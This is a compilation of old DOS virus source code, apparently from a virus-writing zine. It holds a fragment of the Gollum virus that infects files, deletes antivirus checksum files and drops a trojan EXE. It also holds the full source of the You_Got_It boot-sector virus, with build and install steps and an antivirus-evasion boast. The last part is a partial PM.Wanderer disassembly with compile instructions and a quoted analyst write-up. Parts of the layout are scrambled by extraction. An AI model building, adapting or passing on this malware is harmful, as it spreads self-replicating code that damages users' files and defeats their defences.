;Encrypt block mov esi,edx mov edi,edx mov cx,0200h Crypt_Loop_3: cld lodsb not al stosb loop Crypt_Loop_3 ;Write block pop ecx mov ah,40h mov bx,word ptr [Victim_Handle] VxDint 21h cmp cx,0200h je Read_VxD_Block ;Close file mov bx,word ptr [Gollum_Handle] mov ah,3Eh VxDint 21h ;Seek to beginning of file mov bx,word ptr [Victim_Handle] call Seek_File_Start ;Mark file as infected mov esi,OFFSET32 File_Header

mov word ptr [esi+12h],"CR" ;Write new header mov ah,40h mov cx,Header_Size mov edx,esi VxDint 21h ;Delete ANTI-VIR.DAT mov esi,OFFSET32 CheckSum_File_00 call Delete_File ;Delete CHKLIST.TAV mov esi,OFFSET32 CheckSum_File_01 call Delete_File ;Delete CHKLIST.MS mov esi,OFFSET32 CheckSum_File_02 call Delete_File ;Delete AVP.CRC mov esi,OFFSET32 CheckSum_File_03 call Delete_File ;Delete IVB.NTZ mov esi,OFFSET32 CheckSum_File_04 call Delete_File Restore_Date_Time: mov ax,5701h mov cx,word ptr [File_Time] mov dx,word ptr [File_Date] VxDint 21h Infect_Close: ;Close file mov ah,3Eh VxDint 21h Restore_Attr: ;Restore file attr mov ax,4301h mov cx,word ptr [File_Attr] mov edx,OFFSET32 Infect_FileName VxDint 21h Infect_Error: jmp Exit_VxD_Int_21h ;Drop a trojan .EXE file (sometimes) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Drop_Exe_Trojan: ;This is our dice in ax,40h cmp al,0FFh jne Bad_OverWrite ;Open Gollum VxD file mov ax,3D00h mov edx,OFFSET32 VxD_File_Name VxDint 21h jc Bad_OverWrite ;Save file handler mov word ptr [Gollum_Handle],ax ;Create file, abort if exist mov ah,5Bh xor cx,cx mov edx,OFFSET32 Trojan_File_Name VxDint 21h jc short Bad_OverOpen ;Save file handler mov word ptr [Victim_Handle],ax Trojanize_Block: ;Read VxD file block

mov ah,3Fh mov bx,word ptr [Gollum_Handle] mov ecx,0200h mov edx,OFFSET32 VxD_Buffer VxDint 21h ;Write block xchg ecx,eax mov ah,40h mov bx,word ptr [Victim_Handle] VxDint 21h cmp cx,0200h je Trojanize_Block ;Close trojan file mov ah,3Eh VxDint 21h Bad_OverOpen: ;Close virus VxD file mov bx,word ptr [Gollum_Handle] mov ah,3Eh VxDint 21h Bad_OverWrite: jmp Exit_VxD_Int_21h ;Delete file routines ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Delete_File: mov edi,dword ptr [Start_FileName] Copy_DB_Name: cld lodsb stosb or al,al jnz Copy_DB_Name ;Wipe out file attr mov ax,4301h xor ecx,ecx mov edx,OFFSET32 Infect_FileName VxDint 21h ;Delete filename mov ah,41h VxDint 21h ret ;Move file pointer routines (bx = file handle) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Seek_File_Start: xor al,al jmp SHORT Seek_Int_21h Seek_File_End: mov al,02h Seek_Int_21h: mov ah,42h xor cx,cx xor dx,dx VxDint 21h jc short Seek_Error ;Return file pointer position into eax and eax,0000FFFFh shl edx,10h add eax,edx mov dword ptr [File_Size],eax

clc ret Seek_Error: stc ret EndProc VxD_Int_21h VxD_LOCKED_CODE_ENDS END ; - -[ASSEMBLE.BAT - Batch file used to build GOLLUM.INC] - - - - - - - ->8 tasm gollum tlink /Tde gollum exe2bin gollum.exe gollum.bin crypt data gollum.crp gollum.inc

comment * ; Designed by "Q" the Misanthrope ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

The "You_Got_It" virus needed to be made. Windows 95 has neglected the floppy boot sector virus long enough. Windows 95 in it's 32 bit protected mode has it's own floppy disk routines and doesn't use int 13 or int 40 anymore. When a floppy boot sector viruses infectes the hard disk of the Windows 95 computer, it would flag a change in the MBR or DBR indicating a possible virus attack (not good). The conclusion, don't hook int 13, hook int 21. Problem is, when Windows 95 starts up, it starts in DOS mode then changes to it's protected mode DOS so int 21 hooked in DOS mode isn't hooked anymore. Many of the multipatrite virii will not infect once Windows 95 starts. If your boot sector virus can infect a program called in your AUTOEXEC.BAT or your CONFIG.SYS then the virus would go resident. The "You_Got_it" virus does this. It creates a randomly named file and adds INSTALLH=\AKYTHSQW (name is random) to the CONFIG.SYS file. Now when Windows 95's int 21 is called to change the default drive to A: then the infection occures. Cool features: during boot up the virus moves into video memory then into the High Memory Area (HMA) when dos loads high. The virus tunnels int 21 and loads in the HMA with dos. Also the boot sector infection will not attack the CONFIG.SYS multiple times.

; P.S. This virus will not be detected by Thunderbytes TBRESCUE Boot sector ; detector or CMOS virus protection.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

tasm yougotit /m2 tlink yougotit exe2bin yougotit.exe yougotit.com format a:/q/u debug yougotit.com l 300 0 0 1 w 100 0 0 1 w 300 0 20 1 m 13e,2ff 100 rcx 1c2 w q copy yougotit.com c:\ edit c:\config.sys device=\yougotit.com altf x y

* .286 qseg

segment byte public 'CODE' assume cs:qseg,es:qseg,ss:nothing,ds:qseg

top: db db dw db dw db dw dw

jmp short jmp_install 90h 'MSDOS5.0' 512 1 1 2 224 2880

;boot sector data

db dw dw dw

com_install com_install jmp_install id

cld push

je

monochrome:

pop pop

0F0h 9 18 2 org

003eh

proc jmp endp

near short go_mem_res

proc push equ mov lea push

near cs $+01h si,7c00h bx,word ptr ds:[si] bx

;floppy boot up ;for the retf to 0000:7c00 ;7c00 is the infection marker ;bx=7c00 ;for the retf to 0000:7c00

cs mov es,bx ;if monochrome copy code to pop ds ;7c00:7c00 cmp word ptr ds:[0449h],07h ;check if monochrome monochrome push 0b700h ;lets reside in video memory pop es ;no need for that TOM cmp word ptr es:[si+id-top],si push es ;check if already mem resident mov di,si ;di=7c00 mov cx,offset previous_hook ;copy loop varable push cx ;save it because we will copy push si ;the code twice to b700:7c00 rep movsb ;and b700:7dfe si cx call return_far ;goto b700 segment of code rep movsb ;continue copy to b700:7dfe mov si,1ah*04h ;only hook int 1a je already_res ;if already resident don't movsw ;hook again

movsw mov mov push es mov endp

word ptr ds:[si-04h],offset interrupt_1a+7e00h-02h word ptr ds:[si-02h],cs ;hook int 1a ds ;read moved floppy boot sector

near bp,word ptr ds:[bx+11h] ;code to point to last sector cx,word ptr ds:[bx+16h] ;of the root directory of any bp,04h ;floppy disk cx,01h cx,bp

return_far: set_cx_dx

proc mov mov shr shl add cx mov sub int retf endp

config_line install_name file_name

db db db

"C:\CONFIG.SYS",00 "INSTALL=" "\"

already_res: pop jmp_install set_cx_dx

inc

ax,0201h

dh,01h cx,word ptr ds:[bx+18h] 13h ;read or write boot sector ;return to 7c00:0000 or ;resident_21 routine ;file to infect ;what to add ;random file name goes here

crlf go_mem_res

go_mem_res interrupt_1 push push

je

toggle_tf: go_back:

db equ

00h $+07h

proc mov int mov mov push int pop push pop pushf lea push push int db dw endp

near ;CONFIG.SYS residency ax,3501h ;get int 1 address for tunnel 21h dx,offset interrupt_1-com_install+100h ah,25h ;set int 1 for tunnel es 21h ds ;ds:dx will be to set it back 00h ;es=0000h es ;simulate interrupt stack dx,word ptr ds:[bx] cs es ;return to cs:0000 is cd 20 01h ;set trap flag 26h ;es: override in to int table 02effh,21h*04h ;jmp far ptr es:[0084]

proc near ;set trap flag, trace int 21 pusha ;save varables sp pop bp ;get pointer ds push es lds si,dword ptr ss:[bp+10h];get next instruction address cmp word ptr ds:[si+01h],02effh jne go_back ;check if jmp far ?s:[????] cmp word ptr ds:[si-02h],001cdh org $-02h ;see if called from my int 01 int 01h toggle_tf mov si,word ptr ds:[si+03h] ;get address segment of jmp cmp byte ptr ds:[si+03h],0f0h jb go_back ;see if in HMA area mov bx,((tail-com_install+10h)SHR 4)*10h mov di,0ffffh ;allocate HMA area for virus mov ax,4a02h int 2fh inc di ;is HMA full jz toggle_tf ;if so then just don't bother push si ;move the virus to the HMA cld mov cx,previous_hook-com_install mov si,0100h ;copy virus to HMA rep movs byte ptr es:[di],cs:[si] pop si ;now hook the int 21 chain movsw movsw lea di,word ptr ds:[di-(offset vbuffer-resident_21)] mov word ptr ds:[si-04h],di ;point to resident 21 code mov word ptr ds:[si-02h],es xor byte ptr ss:[bp+15h],01h;toggle the trap flag pop es pop ds

popa interrupt_1

iret endp

interrupt_21

proc

near

;hooked in after int 1a sees

pushf pusha push push pop

ds push cs ds xor jz mov mov int mov xchg jc int or jz pusha mov mov mov int mov mov xchg mov int mov int popa inc pusha mov

;that dos loaded during boot

es

ah,4bh ;unload if a program starts set_21_back ax,3d42h ;open c:\config.sys dx,offset config_line+7e00h-02h 18h ;really it is int 21 bx,5700h ;get date ax,bx retry_later ;unable to open c:\config.sys 18h cl,cl ;is c:\config.sys infected close_it ;save file date ah,5ah ;create random file cx,0005h dx,offset file_name+7e00h-02h 18h dx,offset com_install+7c00h bh,40h ;write virus code into file ax,bx ch,02h 18h ah,3eh ;close it 18h ;date and handle c:\config.sys ax ;set date ;save it for later ax,4202h ;go to end of c:\config.sys

cwd

close_it: set_21_back: retry_later: interrupt_21 interrupt_1a

push pop int mov mov mov mov int popa shr int mov int lds jmp jmp endp

dx cx 18h ah,40h ;write INSTALL=\ line word ptr ds:[crlf+7e00h-02h],0a0dh cl,low(crlf-install_name+02h) dx,offset install_name+7e00h-02h 18h ;be sure to cr lf terminate it ;get file date cl,cl ;blitz seconds and more 18h ah,3eh ;close c:\config.sys 18h dx,dword ptr ds:[previous_hook+7c00h] short set_int_21 ;unhook it 21 short jmp_pop_it

proc pushf

near

;hooked at boot and waits for ;dos to load

mov ds es

ax,1200h

;dos loaded

int inc jnz mov

2fh al jmp_pop_it ds,dx

;and unhook int 1a ;if loaded then hook int 21

pusha push push cwd

les

mov si,21h*04h ;sorry for all the complexity mov di,offset previous_hook+7c00h les bx,dword ptr cs:[previous_hook+7e00h-02h] mov ds:[si-((21h-1ah)*04h)+02h],es mov ds:[si-((21h-1ah)*04h)],bx bx,dword ptr ds:[si] mov ds:[si-((21h-18h)*04h)+02h],es push cs ;also save int 21 into int 18

cld pop movsw movsw

set_int_21: jmp_pop_it: interrupt_1a

resident_21

next_line:

call cld

mov es

ds:[si-((21h-18h)*04h)],bx

mov push pop mov int jmp endp

dx,offset interrupt_21+7c00h cs ;set int 21 ds ax,2521h 18h short pop_it

org

001b4h

proc near ;memory resident int 21 pushf ;called when loaded from pusha ;config.sys push ds push es cmp ah,0eh ;is it set drive jne pop_it or dl,dl ;drive A: jnz pop_it cwd ;set varables to read sector call next_line pop bx add bx,offset vbuffer-next_line push cs mov cx,0001h pop es push cs mov ax,0201h ;try reading the boot sector pop ds int 13h jc pop_it ;if not don't infect cmp byte ptr ds:[bx+id-top+01h],7ch je pop_it ;check if infected mov ax,0301h ;move and write boot sector pusha ;save for later push cs ;for far retf set_cx_dx mov lea lea rep mov org jmp

cx,previous_hook-com_install si,word ptr ds:[bx-offset (vbuffer-com_install)] di,word ptr ds:[bx+com_install-top] movsb word ptr ds:[bx],0000h $-02h $(jmp_install-top) ;place initial jmp at front

int pop pop

13h es ds

popa pop_it: popa

;write it

popf resident_21

endp org

001fdh

previous_hook: far_jmp

proc db label endp

near 0eah double

;jmp to old int 1a or boot ;up int 21 or resident int 21

boot_signature

dw

0aa55h

;guess what

vbuffer

org label

$+02h byte

;buffer to read boot sector

tail

org label

$+0202h byte

far_jmp

qseg

ends end

;the end of the code

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ PM.Wanderer ³ ³ Disassembled by ³ ³ Tcp/29A ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThis is one of the very few DOS viruses which use protected mode in order to perform its functioning and the first to do it in a pretty effective way. It appears encrypted in files by means of a polymorphic engine, whose garbage generator i've kinda liked, based in a table and a decoder of the contents of that table. This makes the engine pretty flexible as it's possible to add entries to the table, being able to make the generated garbage much more confusing, without having to modify anything else. However the most notorious feature in this virus is the way it works under protected mode. I've included below an article written by the AVer (DrWeb) Igor Daniloff for VirusBulletin in which he makes a pretty good description of the functioning of this part of the virus. Anyway there are some errors in the text, so i've commented them with (* *).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Protected Mode Supervisor? Igor Daniloff DialogueScience Since their introductions, PCx have become increasingly complex through advances in both hardware and software. Computer viruses are also becoming more complex and intricate as their authors try to adapt them to changes in the computer environment. Now there are viruses that infect PC boot sectors of disks, DOS, Windows, Windows'95, OS/2, and Linux program files, as well as documents created in Word and Excel. Virus authors have devised stealth tecniques to help avoid detection, and anti-debugging and anti-virus mechanismes to make initial detection, then analysis more difficult. They have incorporated polymorphism in boot sectors, files, and memory to make detection more laborious and time-consuming for anti-virus designers. Since the release of i386 processors, viruses have begun to use 32-bit instructions in their codes. Some polymorphic viruses employ 32-bit operands in their decryptors. Unfortunately, viruses aim to survive and gain the upper hand under the existing conditions, using all conceivable software and hardware techniques. With the emergence of 286, and later 32-bit i386 processors, came protected (or virtual) operation mode. Thus far, virus authors have not successfully harnessed protected mode. Some have tried to master it, but their attempts have been unsuccessful because of changes with important operating system components. In 1994, the boot virus PMBS was the first to tackle protected mode, but could not cope with other applications or drivers (EMM386, Windows, OS/2) also using that mode. In the same year, viruses Evolution.2761 and Evolution.2770 succeeded in tapping part of the power of the protected mode, but only when the processor was in the real mode. These viruses replaced the actual interrupt vector table with their own interrupt descriptor table (IDT), which they loaded with IDT register. How did the Evolution viruses could use this technique in everyday life? I doubt there is a PC user who runs i386-Pentium in real mode. Although the i386 processor made its debut long ago, viruses have still failed to master its powerful protected mode. I believe that virus

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

designers have cherished this hope for some time, and that one among them finally appears to have realized it. PM.Wanderer, apparently written in Russia, is a file infector which uses a cruide form of protected mode. It is surprisingly stable, interacting more or less correctly with other programs that utilize this mode. The name is derived from the string 'WANDERER,(c)P.Demenuk'. A resident memory and documented supervisor

polymorphic virus PM.Wanderer installs its resident part in the toggles the processor to the protected mode, by utilizing the virtual control program interface (VCPI) of the extended memory (EMS, EMM386).

Installation ÄÄÄÄÄÄÄÄÄÄÄÄ On starting an infected program, the virus polymorphic decryptor decodes the main virus body and passes control to it. The virus code determines a location in the upper addresses of DOS memory, writes itself to this memory, and hands over control to the copy higher in memory. Then it restores the code of the infected file in the program segment (for EXE files, it also configures the addresses of relocated elements) and begins to install resident component. First, the virus checks whether there is an extended memory manager (EMS) in the system. It does this by retrieving the address of Int 67h (Extended Memory) though Int 21h function AX=3567h (Get Interrupt Vector), and checking whether the characters 'EM' exist in EMS header. Then the virus verifies whether its resident part is already installed by calling function AX=BABAh of Int 21h and locking for the answer AX=FA00h. If there is no active EMM in the system, or the resident part of the virus is already installed (and in subsequent operation, if there is no VCPI or an error occurs installing the resident copy), the virus frees the memory reserved for installing the resident copy and passes control to the host program. This completes the life cycle of the virus in a system. However, if environmental conditions are favourable, the virus intercepts Int 01h and traces Int 21h looking, for the word 9090h (two NOPs) in the original Int 21h handler code of MS DOS version 5.00-7.00. If this string is detected, the virus retrieves from a specific handler address the address of Int 21 handler kernel, which is usually located in the high memory area, and writes this address to its body. This address is subsequently used by the virus for calling the Int 21h handler kernel for infecting files. Then the virus verifies the presence of VCPI and reserves the physical addresses of four memory pages. IT next retrieves the address of VCPI, page table, and the addresses of GDT (Global Descriptor Table. This consists of three elements: the first is the code segment descriptor, and the other two are used by the VCPI driver). The virus writes a reference to the pages allotted by the VCPI driver to the page table, and retrieves the physical address of the memory page of the segment in which the virus is currently located. It also gets GDT and IDT registers. Next, the virus creates three (code and data) descriptors and a descriptor for the task state segment (TSS) in GDT. Finally, it prepares the values for the registers CR3, GDTR, IDTR, LDTR (Local Descriptor Table Register), TR (Task Register), and the address CS:EIP of the protected mode entry point. Using the VCPI tools, the virus toggles the processor to protected mode with the highest privilege level, known as the supervisor.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

In the protected mode, the virus corrects IDT (* corrects GDT *) by creating two segment descriptors, then searches for the TSS descriptor (* searches for page table *). Next the virus defines two breakpoints: one at the first byte of the code of the current INT 21h handler (0000:0084h) and the other at the first byte of the code in BIOS at 0FE00:005Bh (linear address 0FE05Bh). The BIOS location usually holds the 'near jump to reboot'. The virus then corrects IDT to set debug exceptions at Int 01h and Int 09h. It also defines two handler descriptors: trap gate and interrupt gate. After these preliminaries, the virus writes its code to the memory page and switches the processor back to the virtual mode in order to free the DOS memory in upper addresses and to return the control to the infected program. From this instant, the infected program begins its "normal" work, but Int 01h and Int 09h have been redefined by the virus as trap gate and interrupt gate in protected mode, respectively.

Keyboard Handler ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ On receiving control, the virus-defined Int 09h handler verifies whether the two virus-defined breakpoints exist, and restores them if either has been zeroed. Using the register DR7, the virus checks whether the two breakpoints (0 and 1) are defined, without verifying their linear addresses. If either of the breakpoints is missing, the virus calls the procedure that instantly restores them to their initial status. The virus-defined Int 09h handler also keeps a close watch on the pressing of Ctrl-Alt-Del and `resets' all breakpoints when this key combination is used. Debug Exceptions Handler The virus-defined debug exceptions handler verifies whether either of the virus breakpoints has been reached by checking the command address. If control passed to this handler from the 'near jump to reboot' in BIOS, the virus resets all breakpoints just as the virus-defined keyboard handler does when the key combination Ctrl-Alt-Del is pressed. If the exception was caused by the breakpoint of the original DOS Int 21h handler, the virus analyzes the AX register to determine the function of Int 21h, and behaves accordingly. Prior to analyzing this, the virus sets the resume flag (RF=1) in the stack's EFLAGS register that is intended to return control to the breakpoint. This flag is set should a debug exception take place while returning control to the breakpoint. If Int 21h is called with AX=0BABAh, the virus the virus recognizes this as its 'Are you there?' call. If PM.Wanderer is installed it writes writes the value 0FACCh in the AX register and returns control to the original DOS Int 21h handler. On exiting from the DOS handler, the AL register is set to zero. The register value AX=0FA00h informs the non-resident virus that a copy is already active. If Int 21h is called with either AX=4B00h (start program) or AH=3Dh and the lower 4 bits of AL set to zero (open file for reading), the virus decides to infect. The virus writes its code to 9000:0000h (linear address 90000h), prepares a stack, and toggles the processor to 8086 virtual mode with IRETD command at third and last privilege level.

File Infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In virtual mode, the virus code verifies the last two characters (OM or XE) of the filename extension, creates a polymorphic copy, and infects files longer than 4095 bytes. PM.Wanderer does not infect a files if seconds field of file's time-stamp is 34, assuming that the file is already

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

infected, assuming the file is already infected, nor does the virus alter file attributes. Therefore read only files are not infected. Further, the virus does not infect a particular program with seven-character filename. I could not find the name of this file: the virus defines it implicitly by computing the CRC of itss name. The virus does not take over Int 24h (Critical Error Handler), so when critical errors (for example, writing to write-protected disks) occur during infection, the standard DOS query - Retry, Ignore, Fail, Abort? - is displayed. The virus infects a file by calling the DOS Int 21h handler directly, using the address obtained from tracing Int 21h at installation. The virus code is prepended to the header of COM files and inserted into the middle of EXE files, immediately below the header. Prior to this, the relocations field in the header is zeroed by moving the original program code to the file end. The `real working code' of the virus is 3684 bytes long, but the size of infected files increases by more than 3940 bytes. (* exactly between 3940 and 4036 bytes: 3684 + decryptor (256 to 352) *)

Exit from the V-mode of DOS-machine ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The virus uses a smart technique to exit the V-mode and to transfer control to the breakpoint of the DOS Int 21h handler that called the debug exceptions, so that DOS functions normally. Were the virus to infect a file while in P-mode, everything would be simple - it would be sufficient to execute the IRETD command. Since the virus has toggled to the V-mode with privilege level three, it is possible for the debug exceptions handler to switch back to P-mode. Therefore, the virus plays an elegant trick to surmount the situation. If an error occurs during infection or while exiting from the virtual mode, the virus calls Int 21h with AX=4B00h. When Int 21h is called with AX=4B00h, control jumps to the first command of the DOS Int 21h handler. This command contains a virus-defined breakpoint. Control must now be transferred to the debug exceptions handler in P-mode. However, the V-mode monitor discovers the need to process the next debug exception. The point is that the virus debug exceptions handler has not returned the control to the breakpoint and is still busy processing the current debut exception. Therefore, the V-mode monitor terminates the Int 21h call, aborts processing the current debug exception, and returns control to the breakpoint with the values stored in the registers of the previous Int 21h call.

Payload ÄÄÄÄÄÄÄ If the debug exceptions handler is passed AX=3506h (such a call for getting the INT 06 address usually exists in all programs compiled from high-level languages, such as C, Pascal), PM.Wanderer scans the linear address space 0-90000h looking for a string that obviously belongs to the Russian integrity checker ADinf. If this string is found, the virus modifies it in order to disable the alerts ADinf usually raises on detecting changes to files and disks. Search for the Virus in Memory: It is clear from the above that conventional memory scanning methods are incapable of detecting the resident copy of the virus at level zero privilege in the protected mode. The resident copy can be detected only after toggling to the highest privilege level of protected mode with the help of GDT or IDT. However, this virus can be trapped by other conventional methods. Here, the linear addresses of the first two breakpoints (0 and 1) must be determined and compared with the values described above. The possible presence of PM.Wanderer in the memory can be decided from theese addresses. It is imperative that such operations be

; carried out only in a DOS session. In assembler language, this can be done ; as follows: ; ; ; .8086 ; MOV AX,0BABAH ;simulate that the virus is checking its ; INT 21H ;presence in the memory ; CMP AX,0FA00H ;did the resident copy respond? ; JNE ExitCheckMemory ; .386P ; MOV EAX,DR7 ;read register DR7 ; AND EAX,20AH ; CMP EAX,20AH ;are 2 breakpoints defined? ; JNE ExitCheckMemory ; MOV EAX,DR1 ;read linear address of breakpoint 1 ; CMP EAX,0FE05BH ;is it set at 0FE00:005BH in BIOS? ; JNE ExitCheckMemory ; .8086 ; MOV AH,9 ; MOV DX,OFFSET VirusIsFound ; INT 21H ;alert about the possible presence of ; CLI ;virus in the memory ; JMP $+0 ;"hang up" system ;ExitCheckMemory: ; INT 20H ;terminate operation ; ; ; Test ; ÄÄÄÄ ; After infecting several thousand files, the virus behaves like a 'lodger' ; with all infected files remaining operative. A file becomes inoperative ; only if, after infection, its stack are located within the virus code. ; While infecting EXE files, PM.Wanderer does not modify the start SS:SP ; values in the EXE header. As already mentioned, the virus is capable of ; reproduction only if EMS (EMM386) is installed in the system. If EMM386 is ; installed with the /NOEMS option, when the virus toggles processor to ; protected mode, the system will reboot. The computer may also reboot if ; QEMM386 is installed. ; ; The virus loses its reproduciability under Windows 3.1x and Windows 95. ; These operating systems cut off an already resident PM.Wanderer, because ; while loading they install their own handlers in IDT and zero all ; breakpoints. Prior to terminating a session and returning to DOS, Windows ; restores the previous status of the interrupt descriptor table. On pressing ; a key in DOS environment, the virus gets control, installs its own ; breakpoints, and continues its activities. Due to the absence of VCPI in a ; DOS session within Windows, the virus cannot return to the protected mode ; there. For the same reason, the virus is also inoperative under OS/2. ; ; ; Conclusion ; ÄÄÄÄÄÄÄÄÄÄ ; PM.Wanderer is the first virus to utilize i386 the protected mode and not ; conflict with the domimamt Microsoft operating systems, which also use that ; mode. It is possibly that future viruses may completely overwrite the ; supervisor with their own code supporting the DPMI, EMS/VCPI, XMS, and Int ; 15h extended memory interfaces. Who knows? ; ; ; PM.Wanderer ; Aliases: None known ; Type: Memory resident in P-mode, polymorphic ; Infection: COM and EXE files

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Self-recognition in Memory: Self-recognition in Files: Hex Pattern in Files: Hex Pattern in Memory: Intercepts: Payload: Removal:

See description Bit 1 and bit 4 in seconds field of file's time-stamp set The virus is polymorphic, and there is no useful hex pattern. Virus works in P-mode, see description In IDT: Int 09h for enabling breakpoints, Int 1 for infection Patch the integrity checker ADinf in memory. Under clean system conditions, identify and replace infected files

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

Other data ÄÄÄÄÄÄÄÄÄÄ Virus : Size : Author : Origin : Disasm by :

PM.Wanderer 3684 (code) + 256-352 (decryptor) = 3940-4036 bytes P. Demenuk Russia Tcp/29A

Greetings ÄÄÄÄÄÄÄÄÄ They go this time to l- (i got it) ;), and to Vecna/29A, as he was working in the same project at the same time, without any of we both having realised about that fact :) I noticed it also happened the same to him with the Dementia disassembly... that's bad luck, man! :) Send any question or comment to [email protected].

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ tasm /m wanderer.asm (ignore warnings, if any) tlink /t /3 wanderer (ignore fixup overflow errors)

.386p segment assume org

; Of course, 386 protected mode byte public 'CODE' use16 cs:wanderer, ds:data0, es:data0, ss:data0 100h

; Selectors : CODE_SEL DATACS_SEL ALLMEM_SEL TSS_SEL VCPICS_SEL

= = = = =

8 10h 18h 28h 30h

VIRUS_SIZE STACK_SIZE

= =

virus_end - start 44h

wanderer

; ; ; ; ;

CS Selector CS Alias Selector 4GB Memory Selector TSS Selector VCPI CS Selector

start: call get_delta: pop

get_delta si sub mov

si,3 ; Get delta offset di,offset(start)

cld mov push mov mov

pusha jmp

ax,cs ds ds,ax es,ax push mov mov mov mov

offset(mem_mcb) bx,offset(copy_code) word ptr [bx],0A4F2h word ptr [bx+2],0C361h cx,VIRUS_SIZE

; Encode 'repnz movsb' ; Encode 'popa ; ret'

bx db

0Ah,'WANDERER,(c) P. Demenuk',0Ah

mem_mcb: pop dec

inc

ax ax mov mov mov ax mov jmp

es,ax bx,es:[3] ds:size_mcb,bx

; ES:=MCB ; Get number of paragraphs in this MCB

es,ax alloc_mem

; ES:=PSP

free_mem:

mov

mov sub ah,4Ah int

bx,ds:size_mcb bx,600h

mov ah,48h int

bx,500h

; 500h*16 = 20480 bytes

21h

jc es,ax di,di si,si mov mov rep cs ax push retf

free_mem

; Allocate memory ; BX = 16-byte paragraphs desired ; Error? then jmp

; 600h*16 = 24576 bytes

21h

; Adjust memory block size ; ES = segment addr of block to change ; BX = new size in paragraphs

alloc_mem: mov

mov xor xor

push push

new_mem_pos: push pop

mov int mov xor mov mov

cx,2048 ds:codesegment,cs movsw ; Copy 4K to allocated memory

offset(new_mem_pos) ; Jump to new copy

cs ds cmp ds:host_type,0 ; jz check_resident ; ah,62h 21h ; Get PSP es,bx mov es,es:[2Ch] ; di,di cx,8000h al,1 repne scasb ; inc di ;

COM file? Yes? then jmp address ES:=environment

Search for '1h' (file path) Current file path

push pop mov mov int xchg pop mov

mov

int push push pop mov xor

shl mov mov int pop

es ds ax,3D00h dx,di 21h ; Open file (read) ax,bx ; BX := handle ds ax,4200h mov dx,cs:filesize_l mov cx,cs:filesize_h int 21h ; Lseek end of original file ah,3Fh mov cx,cs:size_in_file xor dx,dx 21h ; Read from file ds cs ds ax,4200h mov dx,ds:ofs_relocitems cx,cx int 21h ; Lseek start of relocation table mov cx,ds:reloc_items shl cx,1 ; x2 (number of bytes in reloc. table) cx,1 mov dx,offset(buffer1) ah,3Fh int 21h ; Read relocation table ah,3Eh 21h ; Close file mov si,offset(buffer1) ax mov cx,ds:reloc_items jcxz no_reloc_items ; Any relocation item? No? then jmp

l_reloc: les add add

add [si+2],ax di,[si] es:[di],ax si,4 loop l_reloc

; Relocate item in memory

no_reloc_items: mov psp_seg,ax check_resident: mov ax,3567h int 21h ; Get int 67h vector cmp word ptr es:[0Ah],'ME' ; EMM386 loaded? push cs pop es jne exec_host ; No? then jmp mov ax,0BABAh ; Residency check int 21h cmp ax,0FA00h ; Already resident? jne go_resident ; No? then jmp free_virmem: sti exec_host: mov ah,49h int 21h ; Free memory cmp ds:host_type,0 ; COM file? jz exec_com ; Yes? then jmp mov ax,psp_seg add ax,ds:file_reloCS push ax ; CS

sub mov mov

push mov ax,10h es,ax ds,ax jmp

ds:file_exeIP ax,psp_seg

; IP

mov push

sp,0FFFEh 100h

mov and jz mov add

si,ds:filesize_l si,si ; Is the virus dropper? exit_program ; Yes? then jmp di,100h si,di ; End of original file

mov mov es push mov

es,ds:codesegment ds,ds:codesegment

restore_mcb

exec_com: ; Set stack pointer ; IP

pusha

cld

push

restore_mcb: mov

exit_program: mov

ah,4Ah mov int retf

offset(copy_code) cx,ds:size_in_file

bx,cs:size_mcb 21h ; Restore MCB size ; Restore original code and return to host

ax,4C00h int 21h

; Exit program

go_resident: call mov

l_alloc_page: mov mov scasd loop mov xor inc

xor xor

mov

